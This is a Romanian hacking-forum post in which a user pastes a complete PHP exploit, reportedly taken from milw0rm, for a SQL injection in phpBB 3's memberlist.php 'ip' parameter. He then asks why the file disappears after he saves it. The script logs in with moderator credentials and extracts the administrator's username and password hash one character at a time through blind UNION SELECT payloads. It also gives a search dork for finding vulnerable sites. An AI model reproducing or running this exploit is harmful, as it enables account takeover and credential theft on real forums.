Jump to content
shakur20

Problema exploit phpbb 3

By shakur20, in Exploituri

Recommended Posts

shakur20 Newbie

shakur20

Posted
Posted

salut.Am si eu o mica problema.Am luat un exploit de pe millw0rm care are codul cam asa:

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosure\n";

echo "by rgod rgod@autistici.org\n";

echo "site: http://retrogod.altervista.org\n";

echo "dork, version specific: \"Powered by phpBB * 2002, 2006 phpBB Group\"\n\n";

/*

works regardless of php.ini settings

you need a global moderator account with "simple moderator" role

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass OPTIONS\n";

echo "host: target server (ip/hostname)\n";

echo "path: path to phpbb3\n";

echo "user/pass: u need a valid user account with global moderator rights\n";

echo "Options:\n";

echo " -T[prefix] specify a table prefix different from default (phpbb_)\n";

echo " -p[port]: specify a port other than 80\n";

echo " -P[ip:port]: specify a proxy\n";

echo " -u[number]: specify a user id other than 2 (admin)\n";

echo " -x: disclose table prefix through error messages\n";

echo "Example:\r\n";

echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u\r\n";

echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7\n";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\B)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$port=80;

$prefix="PHPBB_";

$user_id="2";//admin

$discl=0;

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$prefix=str_replace("-T","",$argv[$i]);

}

if ($temp=="-u")

{

$user_id=str_replace("-u","",$argv[$i]);

}

if ($temp=="-x")

{

$discl=1;

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="username=".urlencode($user);

$data.="&password=".urlencode($pass);

$data.="&redirect=index.php";

$data.="&login=Login";

$packet="POST ".$p."ucp.php?mode=login HTTP/1.0\r\n";

$packet.="Referer: http://$host$path/ucp.php?mode=login\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Accept-Encoding: text/plain\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$cookie="";

$temp=explode("Set-Cookie: ",$html);

for ($i=1; $i<=count($temp)-1; $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

if (eregi("_u=1;",$cookie))

{

//echo $html."\n";//debug

//die("Unable to login...");

}

echo "cookie -> ".$cookie."\r\n";

if ($discl)

{

$sql="'suntzuuuuu";

echo "sql -> ".$sql."\n";

$sql=urlencode(strtoupper($sql));

$data="username=";

$data.="&icq=";

$data.="&email=";

$data.="&aim=";

$data.="&joined_select=lt";

$data.="&joined=";

$data.="&yahoo=";

$data.="&active_select=lt";

$data.="&active=";

$data.="&msn=";

$data.="&count_select=eq";

$data.="&count=";

$data.="&jabber=";

$data.="&sk=c";

$data.="&sd=a";

$data.="&ip=".$sql;

$data.="&search_group_id=0";

$data.="&submit=Search";

$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." \r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"You have an error in your SQL syntax"))

{

$temp=explode("posts",$html);

$temp2=explode(" ",$temp[0]);

$prefix=strtoupper($temp2[count($temp2)-1]);

echo "prefix -> ".$prefix."\n";sleep(2);

}

}

$md5s[0]=0;//null

$md5s=array_merge($md5s,range(48,57)); //numbers

$md5s=array_merge($md5s,range(97,102));//a-f letters

//print_r(array_values($md5s));

$j=1;$password="";

while (!strstr($password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

if (in_array($i,$md5s))

{

$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";

echo "sql -> ".$sql."\n";

$sql=urlencode(strtoupper($sql));

$data="username=";

$data.="&icq=";

$data.="&email=";

$data.="&aim=";

$data.="&joined_select=lt";

$data.="&joined=";

$data.="&yahoo=";

$data.="&active_select=lt";

$data.="&active=";

$data.="&msn=";

$data.="&count_select=eq";

$data.="&count=";

$data.="&jabber=";

$data.="&sk=c";

$data.="&sd=a";

$data.="&ip=".$sql;

$data.="&search_group_id=0";

$data.="&submit=Search";

$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." \r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}

}

if ($i==255) {die("Exploit failed...");}

}

$j++;

}

$j=1;$admin="";

while (!strstr($admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";

echo "sql -> ".$sql."\n";

$sql=urlencode(strtoupper($sql));

$data="username=";

$data.="&icq=";

$data.="&email=";

$data.="&aim=";

$data.="&joined_select=lt";

$data.="&joined=";

$data.="&yahoo=";

$data.="&active_select=lt";

$data.="&active=";

$data.="&msn=";

$data.="&count_select=eq";

$data.="&count=";

$data.="&jabber=";

$data.="&sk=c";

$data.="&sd=a";

$data.="&ip=".$sql;

$data.="&search_group_id=0";

$data.="&submit=Search";

$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cookie: ".$cookie." \r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]\r\n";sleep(2);break;}

}

if ($i==255) {die("Exploit failed...");}

$j++;

}

echo "--------------------------------------------------------------------\r\n";

echo "admin -> ".$admin."\r\n";

echo "password (md5) -> ".$password."\r\n";

echo "--------------------------------------------------------------------\r\n";

function is_hash($hash)

{

if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}

else {return false;}

}

if (is_hash($password)) {echo "Exploit succeeded...";}

else {echo "Exploit failed...";}

?>

problema e ca nu pot sa il salvez ca nume_exploit.pl pentru ca pur si simplu dispare la 1 ms dupa salvare.Ce pot sa fac?

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...